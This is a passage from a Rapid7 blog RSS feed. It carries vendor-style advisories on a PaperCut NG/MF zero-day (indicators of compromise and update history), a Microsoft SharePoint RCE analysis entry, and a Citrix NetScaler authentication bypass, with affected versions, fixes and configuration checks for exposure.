IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Application activity:</strong></span><span style='font-size: undefined;'> Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with </span><span style='font-size: undefined;'>pc-app.exe</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Log integrity:</strong></span><span style='font-size: undefined;'> Missing, unexpectedly truncated, or deleted PaperCut </span><span style='font-size: undefined;'>server.log</span><span style='font-size: undefined;'> files.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>PaperCut </strong></span><span style='font-size: undefined;'><strong>server.log</strong></span><span style='font-size: undefined;'><strong> entries:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ERROR No suitable driver found for jdbc:no:x</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST</span></span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Updated to reflect new emergency patches and CVE ID assignment. Updated remediation to include the new v24 patches. Updated Technical Overview to indicate first patch bypass.</span></li><li><span style='font-size: undefined;'><strong>August 31, 2026:</strong></span><span style='font-size: undefined;'> Updated the Overview to note that both CVEs were added to the CISA KEV list, and the availability of a Metasploit module.</span></li><li><span style='font-size: undefined;'><strong>September 1, 2026:</strong></span><span style='font-size: undefined;'> Updated the Remediation section to reflect the vendor's new emergency patch (release 3).</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Vulnerability Management]]></category>
      <category><![CDATA[Zero-Day]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Fri, 28 Aug 2026 10:09:12 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Rapid7 Analysis: Microsoft SharePoint Remote Code Execution (CVE-2026-63520)]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-remote-code-execution-cve-2026-63520</link>
      <guid isPermaLink="false">blt5f90657fff716e5d</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Mon, 24 Aug 2026 16:18:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
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      <title><![CDATA[CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On August 19, 2026, a </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> was published for </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-19490"><span style='font-size: undefined;'>CVE-2026-19490</span></a><span style='font-size: undefined;'>, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-19490 </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>affects</span></a><span style='font-size: undefined;'> the following systems:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway 14.1:</strong></span><span style='font-size: undefined;'> Versions prior to </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.32</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway 13.1:</strong></span><span style='font-size: undefined;'> Versions prior to </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-63.21</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC FIPS:</strong></span><span style='font-size: undefined;'> Versions prior to </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.32 FIPS</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC FIPS and NDcPP:</strong></span><span style='font-size: undefined;'> Versions prior to </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-37.277</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.</span></p><p><span style='font-size: undefined;'>On September 9, 2026, CVE-2026-19490 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-19490&amp;field_date_added_wrapper=all&amp;field_cve=&amp;sort_by=field_date_added&amp;items_per_page=20&amp;url="><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>KEV</span></a><span style='font-size: undefined;'>), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> and apply the required updates to affected systems on an emergency basis.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Fixed versions for affected products are listed below:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.32</span></span><span style='font-size: undefined;'> and later releases</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-63.21</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC 14.1-FIPS</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.32 FIPS</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-FIPS</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC 13.1-FIPS and 13.1-NDcPP</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-37.277</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-FIPS</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-NDcPP</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SAML action configuration is in place:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>"add authentication samlAction.*"</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Auth or VPN vserver is configured:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'> "add authentication vserver .*"</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'> "add vpn vserver .*"</span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest guidance, please refer to the official </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>Citrix advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;"><span style='color:rgb(24, 26, 27);'>Rapid7 customers</span></h2><h3 style="direction: ltr;">Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 19, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>August 20, 2026:</strong></span><span style='font-size: undefined;'> Updated Rapid7 customers section to reflect availability of vulnerability check.</span></li><li><span style='font-size: undefined;'><strong>September 11, 2026:</strong></span><span style='font-size: undefined;'> Updated Overview to add new CISA KEV reference.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-19490-critical-vulnerability-affecting-citrix-netscaler-adc-and-netscaler-gateway</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 19 Aug 2026 16:46:06 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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